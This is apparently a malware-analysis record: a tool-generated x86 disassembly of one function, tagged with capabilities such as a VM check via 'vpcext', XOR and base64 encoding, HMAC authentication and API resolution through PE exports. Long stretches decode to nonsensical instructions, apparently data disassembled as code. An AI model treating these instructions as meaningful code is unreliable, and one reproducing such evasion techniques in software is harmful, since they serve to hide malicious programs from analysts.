Function at 0x67d1382b
Capabilities:
Authenticate hmac
Check for vm using instruction vpcext
Check http status code
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x224
mov dword [ebp - 0x18], 0x966e3
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0xb09be
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0x7be4a
or eax, dword [ebp - 0x24]
je 0x67d14a9d
mov edx, 0x7be4a
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67d1507b
mov eax, dword [ebp - 0x28]
xor eax, 0x6a7f5
or eax, dword [ebp - 0x24]
je 0x67d144bc
mov edx, 0x6a7f5
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67d1507b
mov eax, dword [ebp - 0x28]
xor eax, 0x39229
or eax, dword [ebp - 0x24]
je 0x67d13edb
mov edx, 0x39229
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x67d1507b
mov word [ebx - 0x74ffffe9], fs
inc ebp
fdiv dword [0x1a2db]
mov eax, dword [ebp - 0x28]
xor eax, 0x1a2db
or eax, dword [ebp - 0x24]
je 0x67d1507e
mov eax, dword [ebp - 0x28]
xor eax, 0x20051
or eax, dword [ebp - 0x24]
jne 0x67d1507b
inc edx
in al, 0x16
sbb al, 0xf6
push 0xf6b517e4
outsd dx, dword [esi]
mov byte [esi - 0x4a], bl
sub byte [ecx], dl
mov ebx, dword [edi + 0x24ed0c28]
dec esi
loope 0x67d138d3
int 0x5f
dec edi
sub al, 0x91
inc ebp
rcl dword [eax], cl
dec edi
les esi, [edi]
ret
mov byte [edx], al
hlt
inc esi
sahf
aam 0xb1
push esi
wait
pop ds
cdq
push es
das
rcr ecx, cl
wait
mov byte [esi], dl
das
add al, 0x45
sbb eax, 0x81628e1c
test ebx, ebx
sub byte [edx - 0x6334a0fd], bh
fld xword [eax]
mov edx, 0x9ccb5f03
loope 0x67d13eaa
push 0xe3766d17
jb 0x67d13f2f
iretd
mov dh, 0xdf
outsb dx, byte [esi]
cli
fnstsw word [edx + 0x3c5820da]
ja 0x67d13ef5
arpl word [eax + edx*4 - 0x34], ax
retf
and al, 0x84
invalid
sub dword [ecx - 0x4bd88e6d], esi
scasb al, byte es:[edi]
out 0x9d, al
xor eax, 0x26bfd20b
add edi, dword [ecx]
jae 0x67d144db
in eax, 0x24
xchg edx, eax
cmovbe esp, dword [edi - 0x531f7a35]
test al, 0x40
test byte [edx + 0x7a64ab98], 0x47
xlatb
int3
fst qword [edx]
outsb dx, byte [esi]
adc al, 0x33
jle 0x67d14484
ja 0x67d14462
mov bl, 0x91
jecxz 0x67d14468
invalid
popal
inc edx
js 0x67d14497
mov edx, 0xe411f224
sbb esp, ecx
into
cli
imul esp, dword [edi - 0x3427a804], 0xffffffad
xchg ecx, eax
test al, 0xb8
mov ebp, dword es:[ecx - 0x3e5c868]
inc ebp
cwde
inc ebx
cmpsb byte [esi], byte es:[edi]
loop 0x67d14556
pop edi
mov dl, 0x63
lea edx, [edi - 0x39277beb]
inc ecx
fcomp st(5)
mov ebx, 0xc0569cf2
or eax, 0xa9ebdf99
clc
into
lodsd eax, dword [esi]
or eax, 0xa066ca8b
cdq
in al, 0x13
push ebp
or al, 0x50
jg 0x67d14581
dec esp
mov byte [0x536cc65b], al
jle 0x67d144e4
mov dh, 0x1f
add eax, 0x5a475e4d
mov byte [ebx - 0x1e470d10], al
nop
int3
add byte [esi + ecx*8], bl
ja 0x67d145b9
push eax
or al, 0x37
hlt
and byte [eax + 0x26caaccc], dl
xor ch, byte [eax + ebx*4 + 0x77]
or dl, bl
inc byte [ecx]
mov dl, 0xf7
ficom word [ecx - 0x22b62e70]
test byte cs:[eax + 0x4d], dl
in al, dx
push ebp
lcall 0x17fa, 0xb2e40f59
dec ebx
daa
ret
cmc
add eax, 0xc3555309
adc eax, 0x361c1e9
xchg ebp, eax
mov ah, 0x57
pushfd
sbb al, 0x18
int1
lodsb al, byte [esi]
push edx
push ebx
push 0x31
mov al, byte [0xc88f4a73]
mov eax, dword [0x464f4c67]
mov edi, 0xc8f71aef
sub bh, byte [ecx + ebp*8 + 0x7a]
test eax, 0xcc90063a
push es
pop ebp
or dword [0x7eb8fbce], ebp
mov bh, 0x88
pop eax
push eax
xchg byte [eax - 0x6e], ch
invalid
sbb eax, dword [edx + 0x27]
test byte [eax + ecx], bl
ljmp 0x5cf3
nop
jmp 0x67d1507f
nop
mov dword [ebp - 0x30], 0x987fb
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], 0x5e708
mov dword [ebp - 0x34], 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x38]
sbb edx, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x40]
xor eax, 0xeafcc
or eax, dword [ebp - 0x3c]
je 0x67d1599a
mov edx, 0xeafcc
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0xdfc96
or eax, dword [ebp - 0x3c]
je 0x67d153b9
mov edx, 0xdfc96
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0xdf3b1
or eax, dword [ebp - 0x3c]
je 0x67d16b3d
mov edx, 0xdf3b1
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0xd3e91
or eax, dword [ebp - 0x3c]
je 0x67d1711e
mov edx, 0xd3e91
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0xc689d
or eax, dword [ebp - 0x3c]
je 0x67d15f7b
mov edx, 0xc689d
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0xac9c3
or eax, dword [ebp - 0x3c]
je 0x67d176ff
mov edx, 0xac9c3
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x9b4ec
or eax, dword [ebp - 0x3c]
je 0x67d1c36c
mov edx, 0x9b4ec
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x8a10c
or eax, dword [ebp - 0x3c]
je 0x67d1a607
mov edx, 0x8a10c
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x84f51
or eax, dword [ebp - 0x3c]
je 0x67d1b1c9
mov edx, 0x84f51
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x7240f
or eax, dword [ebp - 0x3c]
je 0x67d188a2
mov edx, 0x7240f
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x53634
or eax, dword [ebp - 0x3c]
je 0x67d1655c
mov edx, 0x53634
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x3a0f3
or eax, dword [ebp - 0x3c]
je 0x67d1c94d
mov edx, 0x3a0f3
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x38347
or eax, dword [ebp - 0x3c]
je 0x67d1abe8
mov edx, 0x38347
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x31dd5
or eax, dword [ebp - 0x3c]
je 0x67d19464
mov edx, 0x31dd5
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x30e78
or eax, dword [ebp - 0x3c]
je 0x67d1a026
mov edx, 0x30e78
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x2abba
or eax, dword [ebp - 0x3c]
je 0x67d17ce0
mov edx, 0x2abba
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x21ab1
or eax, dword [ebp - 0x3c]
je 0x67d182c1
mov edx, 0x21ab1
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x1cc5a
or eax, dword [ebp - 0x3c]
je 0x67d1b7aa
mov edx, 0x1cc5a
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x1cbb4
or eax, dword [ebp - 0x3c]
je 0x67d18e83
mov edx, 0x1cbb4
mov eax, 0
cmp edx, dword [ebp - 0x40]
sbb eax, dword [ebp - 0x3c]
jl 0x67d1c94a
mov eax, dword [ebp - 0x40]
xor eax, 0x484a
or eax, dword [ebp - 0x3c]
je 0x67d1bd8b
mov eax, dword [ebp - 0x40]
xor eax, 0x640c
or eax, dword [ebp - 0x3c]
je 0x67d19a45
jmp 0x67d1c94a
out dx, al
ret 0x5553
enter 0x1d9f, 0xffffffffffffffe5
pop ds
add dword [ebx], 0x4c84cc08
push edx
mov ebx, 0x5d9b5e1b
out dx, eax
movsd dword es:[edi], dword [esi]
pop ss
pop eax
shl byte [ecx], cl
push ebp
jns 0x67d15a31
invalid
cmpsd dword [esi], dword es:[edi]
and eax, dword [ecx + ebx - 0x713b91ed]
adc eax, dword [ebp - 0x3e2b53a3]
cwde
dec esp
mov ah, 0x8b
add ah, byte [ecx]
jecxz 0x67d15aad
ret 0xc647
add eax, 0xffffffc8
cmpsd dword [esi], dword es:[edi]
mov eax, dword [0xd72d06f3]
pop esi
sbb eax, 0x853d8f6a
iretd
mov eax, dword [0x2c9d2039]
dec byte [esi - 0x69]
and byte [ebp - 0x68b101d4], bl
test al, 0x5e
jb 0x67d15f7d
cli
sub dword [esi + 0x10], ebx
sub ebx, eax
pop edx
push esi
sbb esi, ecx
dec byte [edi + esi*2]
sub eax, 0x6f37cb82
pop edx
out dx, eax
add cl, byte [esi]
in al, dx
arpl word [ebp + ecx*4 + 0x4bd8fd0f], cx
cmp al, 0xbc
push es
mov edx, 0xa23414c9
sbb eax, 0xe1829405
xor cl, ah
popfd
xor dword [esi - 0x24], ecx
jno 0x67d15fa8
xor al, 0x8f
adc al, 0xdd
xor byte [ebp + eax*8 + 0x29f7c6cd], al
adc al, 9
cli
dec ecx
jmp 0x67d15fb2
jns 0x67d165b4
adc byte [ecx + 0x162e1fcc], dh
and al, 0x69
dec ebx
adc byte [esi - 0x56], 0x25
stc
ljmp 0x2211
out 0x3b, al
or dword [edi - 0xc], ecx
push cs
pushfd
shl dword [ebx + 0x44], 1
push ebp
ror ch, 0x74
idiv dword [eax + ebx*2 - 8]
or ebx, dword [ebp + 0x870fc62]
test al, 0x76
xor esi, eax
out 0xe8, eax
and al, 0x1d
jns 0x67d16535
sub byte [edx], ah
in eax, dx
int 0x8a
mov bl, 0x95
inc eax
mov edx, 0x6dc74f39
mov cs, word [esi - 0x693f68e2]
jo 0x67d16597
pushfd
pop esp
in al, 0xef
out dx, eax
sbb byte [edx + 0x409d0467], bh
fst qword [edi]
pop edx
mov al, byte [0x6b720c5a]
dec eax
rcl dword [edx - 0x772d1459], 0x73
or dword [esi], ecx
or esp, ebp
pushfd
mov eax, 0xe2297bec
xlatb
xor dword [edx], esp
inc ecx
push ebx
nop
int3
imul eax, dword [ecx - 0x68], 0x7a
jg 0x67d16b9f
movsd dword es:[edi], dword [esi]
mov edi, 0x74e11566
pop ecx
invalid
nop
int3
mov ch, byte [ecx + 7]
pop es
fld xword [esi - 0x1670465f]
into
loop 0x67d170e9
mov bl, 0x62
add byte [ebx + 0x54], ch
mov eax, 0x69bdf40f
invalid
mov dl, 0x40
pop esp
mov ebx, dword [ebx + 0x49e3e320]
lahf
imul byte [eax + 0x5f]
cmpsd dword [esi], dword es:[edi]
fcom dword [ebp + 7]
push 0x55d8a75f
push ebp
pop es
sahf
pop esi
dec edx
aam 0x4c
js 0x67d170eb
les ebp, [eax + 0x3d]
rcr dword [esi], 1
call 0xb75e1129
inc edx
dec esi
cmpsd dword [esi], dword es:[edi]
jb 0x67d17132
inc ebp
inc ecx
xchg byte [eax + ebp*4], ah
test al, 0x7a
std
jp 0x67d1714b
inc ecx
inc esi
push eax
daa
xchg ebp, eax
rcr byte [edx + 0x1c], 0x8d
or ch, byte [ebx]
jge 0x67d1712d
imul ecx, dword [edi], 0xffffff89
mov bl, 0xeb
push ss
js 0x67d1718c
aad 0x3f
mov gs, eax
sbb byte [ebp + 0x782ace01], bl
jne 0x67d1714c
int 0x71
sub byte [eax - 0x41], ah
mov dword [0xba18b221], eax
dec ebx
fiadd dword [ebx + 0x6f]
ret 0xcc90
mov ss, word [edx + eax*8 - 0x5c]
std
scasd eax, dword es:[edi]
push esi
jno 0x67d17129
jo 0x67d17190
sbb eax, 0x4a934793
sbb dword [ebp - 0x7c], ecx
sub eax, 0x3ee5582f
inc eax
xor cl, byte [bx + 0x62b]
leave
aaa
fmul dword [ecx]
push edx
ja 0x67d17185
jbe 0x67d171c5
mov ch, 0xe1
mov dl, 0x74
aad 0xe5
xchg dword [ebx - 0x59d201a8], ebp
sbb eax, 0x479e8f11
push edi
invalid
pop ebp
inc esi
in eax, dx
lodsb al, byte [esi]
dec ecx
rol cl, 1
popfd
sub dword [ebx - 0x1a], esi
pop ds
pop eax
and ebx, ecx
push es
push esi
call 0xfa3e693c
add bl, byte [ebx + edi + 0x3e]
xchg ebx, eax
imul ebx, edx, 0x37
adc byte [eax - 0x26e84b34], dl
not ebp
inc eax
jge 0x67d17243
inc ecx
push edx
scasd eax, dword es:[edi]
and byte [edi - 0x5f], bl
ret 0xa82c
clc
idiv byte es:[edx - 0xa]
nop
int3
add eax, ecx
lcall 0xcce6, 0xd3ccba8c
invalid
xchg edi, eax
cmpsb byte ds:[esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
mov eax, 0xa9a2db41
jo 0x67d1774c
outsb dx, byte [esi]
dec eax
jb 0x67d176d7
retf 0xcadf
push ds
and dword [ebx + 0x54], ebx
jl 0x67d1778a
fstp dword [ecx - 0x56cf5404]
ror ah, 1
enter 0xffffffffffffde30, 0xfffffffffffffff0
sub ch, bl
add byte [eax - 0x4a5ed534], dl
jg 0x67d1777c
xlatb
std
add edx, dword [edi - 0x53]
dec esi
mov eax, dword [0xdc13d372]
sahf
mov ch, 0x96
pop eax
dec edi
das
xchg ebx, eax
retf 0x588e
pop eax
pushf
mov edi, 0xa12fd632
ret 0x7525
sal byte [ebx - 0x73712ad9], 1
invalid
pop es
jne 0x67d17d11
retf 0x90e3
mov al, 0xc4
test al, 0xbd
pushal
lock or dl, byte [ebx]
adc bh, byte [ecx]
test al, 0xed
push cs
jbe 0x67d17d39
and dword [ebx - 0x3d], ebx
and dword [edx + 0x22], esi
rol dword [ebp + 0xe], 1
mov dl, 0x7a
aaa
nop
or ecx, esi
add edi, esp
test dword [eax], eax
stosb byte es:[edi], al
cdq
mov dword [0x3bd87b8e], eax
fdivr dword [ebx]
push 0x4a
push ss
daa
outsd dx, dword [esi]
mov cl, 0x55
nop
int3
ret
mov al, byte [0x7871ed32]
pop ebx
call 0x777f94fa
jne 0x67d1890c
jge 0x67d188e8
xchg dword [ecx], esi
int3
retf
lds edi, [edi]
add byte [edi + 0x48b749a8], bh
fldcw word [edx]
stosd dword es:[edi], eax
lodsb al, byte [esi]
mov cl, byte [eax + 0x7b]
xchg edi, eax
mov dword [ebx], 0x876d13a8
mov eax, 0x714623fd
test al, 0x13
insd dword es:[edi], dx
xchg dword [eax + 0x714623fd], edi
sub byte [edx + 0xdb9091e], bl
jo 0x67d1897b
lcall 0x4c70, 0xdb9091e
pop ss
aaa
and ah, dl
dec esi
pop ecx
loopne 0x67d18984
dec ebp
push esp
inc ebp
and eax, 0x3400c2ee
shl dword [edi - 0x2285b1a9], 1
jle 0x67d1891e
jns 0x67d1897b
mov esi, 0x2edd8035
push esp
xchg edx, eax
inc edx
mov bh, 0xfd
cli
pop ecx
mov cl, 0x19
arpl cx, cx
ret 0x1e2c
mov cl, 0xd6
dec esi
jno 0x67d18928
push es
mov ebx, 0x7e5d48db
xchg ebp, eax
pop ebp
jle 0x67d1891c
or dword [eax - 0x51], ecx
mov byte [ebx - 0x3f], ah
mov al, 0xb2
test dword [esi], eax
test ah, ch
or eax, 0xe1b77747
add eax, dword [eax - 0x1f]
insd dword es:[edi], dx
push 0xffffffffffffffb5
jecxz 0x67d189f5
nop
scasb al, byte es:[edi]
jb 0x67d189a5
xor byte [eax + 0xe3104d0], ah
mov al, byte [0xe3104d0]
cwde
dec eax
adc esi, esp
mov ebx, 0x5a993764
and byte [ebx - 0x78], ah
dec ebp
xchg edi, eax
cdq
lea esi, [ebx - 0x5a]
pop edx
jmp 0xf7778eab
shl dword [ebp + 0x471ceb05], 0x90
int3
pop ebx
adc byte [eax], al
imul ebx, ebx, 0x895e1113
movsd dword es:[edi], dword [esi]
in al, 4
dec ecx
pop ecx
xor edx, dword [ebx + eax*2 + 6]
push esp
inc ebx
push es
pop ebp
mov ebx, 0x4fcdd980
test al, 0x57
or eax, 0x8f685d2a
adc cl, dh
add bh, cl
and bl, al
mov byte [0x68fb7c93], al
sahf
xor sp, bp
ja 0x67d18a05
xor byte [ebp - 0x53], cl
cmc
ja 0x67d189c5
or esp, dword [ebx + 0x10]
and eax, 0x2aebcc90
cmp eax, 0x5b5e8cdf
jne 0x67d189bd
ret
sbb edi, dword [esi - 0x55a6b598]
mov esi, 0xa63ae522
mov eax, ds
adc eax, 0x14e39e21
mov edi, 0xe51be36a
inc ebp
rcr dword [ebx - 0x1b], 1
sub eax, 0xe659a510
cmp eax, 0xfea811bc
invalid
pop ebp
and dl, byte [ebx]
test eax, 0xf4b57932
aas
mov eax, ebx
test eax, 0x38f73bbf
mov al, byte [0x7b986fc7]
cwde
outsd dx, dword [esi]
cwde
jnp 0x67d18e31
mov ebp, 0x7ae663c
out 0x7f, ax
dec eax
dec ebx
mov ss, edi
inc ecx
imul ebx, dword cs:[ebp + 0x1f7828b8], 0xffffffba
add eax, 0x6aaf17d8
loope 0x67d18ebc
stosd dword es:[edi], eax
invalid
mov bl, 0xbf
sbb esi, dword [ecx - 0x7d]
push eax
jg 0x67d18f0b
add ah, byte [ebx + 0x76fbb451]
int 0xaa
aad 0x9b
mov ebx, 0x1793e05d
pop edi
and dword [edx - 0x1bd792dd], eax
shl byte [ebx + 0xe], cl
cmpsb byte [esi], byte es:[edi]
mov ah, 0x3b
imul esi, dword [ecx], 0x39
out dx, eax
add dword [eax - 0x13e1bc34], edx
push 9
rol cl, 0x90
jl 0x67d18e95
out 0x7a, eax
sub ecx, dword [esi - 0x3903640e]
add eax, 0x2582468a
push ebx
mov bl, 1
invalid
mov ebx, 0xf0491c83
cld
xor eax, 0x790695b5
aas
push 0x74331878
invalid
mov dword [0xb1c76262], eax
jge 0x67d19453
lodsb al, byte [esi]
rcr byte [0xa28606e8], cl
xchg esp, eax
cmp eax, 0xc3b12ce9
loope 0x67d1942a
ret
mov byte [0xa0fd9324], al
les esi, [ebp + 0x59]
imul ebp
aam 0x7c
imul esi, dword [eax], 0x69
in al, 0x7c
or eax, 0x505d4849
dec ecx
dec eax
pop ebp
push eax
pop ss
jle 0x67d19470
mov ebp, 0xcc90b308
jmp 0x67d1c94e
jg 0x67d19439
cmp al, 0xbd
sti
into
adc al, bl
push ebp
fcmove st(0), st(1)
outsd dx, dword [esi]
mov dh, 0x18
adc eax, 0x4145d148
cdq
adc eax, 0xd627475b
js 0x67d1942a
stc
and eax, edi
outsb dx, byte [esi]
mov dh, 0xc9
ja 0x67d19499
jle 0x67d194da
or al, 0x83
inc edx
push edx
adc ecx, dword [eax - 0x51782d63]
pop edi
sbb edi, esp
pop ds
mov esi, gs
out dx, al
clc
sahf
mov esi, 0xa52ab505
adc esi, ebx
push esi
into
loope 0x67d1943d
push ds
clc
out 0xa9, al
sbb al, 0xed
mov bh, 0xca
in al, 7
shr byte [ecx + ebp*2 + 0xe61f037], cl
sti
enter 0xffffffffffff855f, 0xffffffffffffff8b
xlatb
into
sub eax, 0xeb6f3164
or dword [eax - 0x7aee6434], edx
rep stosb byte es:[edi], al
cdq
xor eax, edx
ljmp 0xa7d6
invalid
mov byte [esi], ah
dec ecx
cmp eax, 0xaba7bcd2
stosd dword es:[edi], eax
xchg ebp, eax
add ch, byte [edi + 0x49]
scasb al, byte es:[edi]
sub al, 0x7f
aaa
or al, 0xed
inc edi
lodsb al, byte [esi]
add byte [ecx], dh
sbb byte [edi + 0x5491b4b3], dl
xor al, 0x90
dec eax
test byte [eax], dh
sbb esp, dword [esi + ecx*8 - 0x27]
inc esp
enter 0xffffffffffffcc3f, 0x1f
into
hlt
nop
int3
add ch, byte [ecx]
pop eax
push edi
test al, 0xe0
test al, 0xe0
sub dword [eax + 0x72], eax
rcr esi, 3
sbb eax, dword [ecx + 0x2198d4e0]
dec esi
or edi, dword [ebx - 0xf]
outsd dx, dword [esi]
sbb al, 0xbe
inc ebp
pop ss
jl 0x67d199a7
loopne 0x67d19a51
mov esp, 0x26b97f7d
ja 0x67d19a86
aam 0x2c
pop eax
nop
pop ecx
lahf
inc edi
jecxz 0x67d199da
ja 0x67d19a01
mov cl, 0x21
cdq
in eax, 0xf8
xchg edi, eax
and ah, byte [edi]
in al, dx
imul byte [esi - 0x47]
cwde
inc edi
ret 0xcc90
sbb ebp, dword [esi + 0x81dd928]
dec edi
push esi
or byte [edi + 0x56], cl
sti
arpl word [0x6df77f98], bx
jg 0x67d19a4a
insd dword es:[edi], dx
jmp 0x67d19a5f
stc
jo 0x67d199fc
mov dl, 0x6d
ljmp 0xbd94
xlatb
jecxz 0x67d19a38
ret
ljmp 0xf4da:0xcc903d50
inc eax
jne 0x67d19fb8
out dx, al
add byte [ebp - 0x5436e077], cl
imul edi, dword [edx - 0xe6357cf], 0x11d910fe
xchg dword [ecx - 0x29f55422], esp
nop
int3
wait
salc
add al, 0x9c
mov dl, 0x44
popal
enter 0xffffffffffffb0b3, 0x41
cwde
and esp, dword [ebx + 0x3f]
push cs
sti
sbb al, 0x9c
or eax, 0x2f5207d9
sahf
loopne 0x67d1a005
mov dh, 0x6d
mov ecx, 0x68616e4e
ret 0xdaf2
lea esi, [esi]
dec ecx
and dl, ch
invalid
in eax, dx
xlatb
fmul st(2)
mov ch, 8
pop ss
not dh
cmp ebx, edx
pop es
pop edi
shl dword [edx - 0x62029b3], 1
loope 0x67d1a570
xchg esp, eax
bound ecx, qword [edi - 0x32dd810d]
in eax, dx
hlt
lodsd eax, dword [esi]
pushfd
sub eax, 0xf8901756
xchg ebp, eax
inc esp
cli
mov ch, 0x52
sub ebp, dword [ebp - 0x6c03c5bb]
push esp
xor edx, dword [ecx + 0x53]
loope 0x67d1a5c7
inc ebx
fild dword [edi + 0x7a525da8]
push ecx
xchg dword [eax + 0x517a525d], ebp
push eax
wait
or byte [eax], dh
adc eax, 0x50bb48da
inc ebp
push ds
mov cl, 0xe6
mov dh, 0xc2
inc eax
mov byte [0xbcf64f90], al
or eax, 0x5ed85765
inc ebx
push ss
dec eax
mov ch, 0x71
jne 0x67d1a621
emms
jecxz 0x67d1a5e4
mov eax, 0xb280b5b0
add edi, 0x65ce1da7
pop ebp
mov byte [eax], dl
adc ah, byte [esi]
sbb eax, 0x65bfe201
fnstenv [ebx + 0x75744e91]
sbb edx, dword [eax - 0x4254f834]
or eax, dword [ecx + 0x7f]
popfd
pop edi
outsb dx, byte [esi]
add eax, 0x2bcfb8d4
mov edi, 0xdbf0fdcd
sbb ah, byte [edx + 0x5e]
sub bh, byte [ebp + 0x37653010]
pushal
sub eax, 0xebdd8153
invalid
mov ch, byte [eax + 0x67b55ad5]
add dword [eax], edi
insb byte es:[edi], dx
stc
scasb al, byte es:[edi]
ror dword [ecx + 0x30], 0x7e
or bh, dh
in eax, dx
int3
nop
int3
pop ss
add byte [eax], al
outsd dx, dword fs:[esi]
test byte [ebp + 0x3251640], dl
push cs
cmp ah, dl
jns 0x67d1b1c2
jne 0x67d1b1c6
pop ecx
sahf
mov bh, 0x7b
ret
xor esi, 0x7dae14ab
lodsd eax, dword [esi]
test dword [eax - 0x1065934], ebx
pop ebx
mov byte [esi + ecx*4 + 0x77], ah
push eax
test al, 0xe1
jbe 0x67d1b7c4
stosb byte es:[edi], al
xchg esp, eax
lock xchg byte [edi + 0x4a2791d], al
xchg byte [edi + 0x4a2791d], al
cli
add dh, ch
ficomp dword [ebx - 0x47]
clc
das
loopne 0x67d1b804
mov ecx, 0x962fb52b
adc edi, dword [edi - 0x63]
mov cl, 0xf9
add byte [ecx], ah
into
loope 0x67d1b82c
mov byte [ebx - 0x6c4466ba], dl
xchg esp, eax
lodsb al, byte [esi]
sub byte [esi - 0x6f], 0xa7
mov ebx, 0x80ac9493
outsb dx, byte [esi]
xchg ecx, eax
cmpsd dword [esi], dword es:[edi]
jo 0x67d1b7e7
sub edx, edx
mov ch, 0xde
invalid
bnd jne 0x67d1b7b7
invalid
inc ebx
nop
int3
push 0xbcca6154
fldcw word [ecx - 0x6c]
xchg dl, al
mov edi, cs
push esp
or eax, 0x8f87489b
loope 0x67d1b80b
and dword [ecx - 0x2bc24b89], edx
add dword [ebx + 0x56], esi
or dword [edx - 0x6a], esp
push esi
sub dword cs:[edx], ebx
test eax, 0xb420d50b
sub eax, 0x4b02e80a
mov bh, 0x37
clc
or byte [edx], 0x93
push edi
mov word [eax - 0x8fdbb63], gs
scasd eax, dword es:[edi]
xor al, 0x2e
add al, 0xb9
je 0x67d1b8e5
lodsd eax, dword [esi]
nop
int3
push ebx
ficomp word [ebx]
push ebp
sbb al, byte [esp + ebp*2]
bound ebp, qword [edx]
fdiv st(4), st(0)
push eax
sbb al, 0xa
in eax, 0x4e
test eax, 0x2cacbdd6
lcall 0xb9aa, 0xb2a4f084
clc
mov ebp, 0x4a080e31
pop edx
invalid
mov bl, byte [esp + ebx*4 - 0x6569ba8a]
mov ecx, 0x31db1086
out 0xb7, eax
fstp dword [ecx - 0x163822ec]
cmc
nop
push eax
fmul qword [edi + 0x1019c4d4]
movsb byte es:[edi], byte [esi]
ja 0x67d1bddc
sahf
clc
imul ecx, dword [eax - 0x43], 0xccc9e6a2
je 0x67d1be18
fstp xword [edi]
bound ebx, qword [edx + 0x3d426a70]
leave
jbe 0x67d1be33
pop esp
cwde
jg 0x67d1bda8
enter 0x4052, 0xffffffffffffffae
sub byte [edi + 0x40], dh
sub eax, 0x2c0f7dd3
out 0x9d, eax
iretd
loop 0x67d1bda8
je 0x67d1be4d
dec esi
or eax, 0xc4cec147
jg 0x67d1be18
adc al, 0x10
jmp 0x346215a5
adc al, 0xb8
loop 0x67d1be89
cmp dl, dl
push cs
mov eax, dword [0x51821e3d]
or cl, 0x2f
push ds
adc byte [ecx - 0x7e], 0xc9
das
inc ebp
push 0xfffffffffffffff0
pop edi
inc edx
push ecx
stc
out dx, al
xor ebp, ebx
xchg ecx, eax
jno 0x67d1be6c
outsb dx, byte [esi]
in al, dx
ljmp 0x4191
inc ecx
dec esp
and ebp, ebp
and eax, 0x2eb91899
into
insd dword es:[edi], dx
adc dword [edx], esi
mov byte [eax + edi*8], dh
xlatb
call 0xe2ecfa6
loop 0x67d1be0f
adc dword [ecx + 0x49], esp
dec ecx
or dword [ecx], 0x19cc90f5
cmp al, 0x46
push ss
push edx
dec edx
sub cl, bl
cmp dl, byte es:[edi]
ja 0x67d1be81
mov al, byte [0x736db37b]
push ss
mov bl, 0x6d
jae 0x67d1be7d
imul edi, dword [ebx - 0x1c960d0b], 0x7a
jecxz 0x67d1bee8
cmp ebx, esp
jl 0x67d1be63
sar dh, cl
or ah, byte [esi + 0x23]
invalid
push esp
wait
arpl word [ebp - 0xb], sp
cmc
test dword [eax], 0x1d3eb143
sahf
adc al, 0x4e
sub dword [edi + ebp - 0x3a5bb6c5], edx
and dword [ebx - 0x3b8831fa], ebx
xor al, 0x38
mov word [edx + eax - 0x133eb349], fs
idiv byte [edi - 0x56290e74]
je 0x67d1be6c
push edi
invalid
popfd
invalid
ljmp 0x85d7:0x8fae141a
or dword [esi + 0x3b702070], esp
or al, 0xc9
popal
jb 0x67d1bf42
pop esi
jno 0x67d1beb8
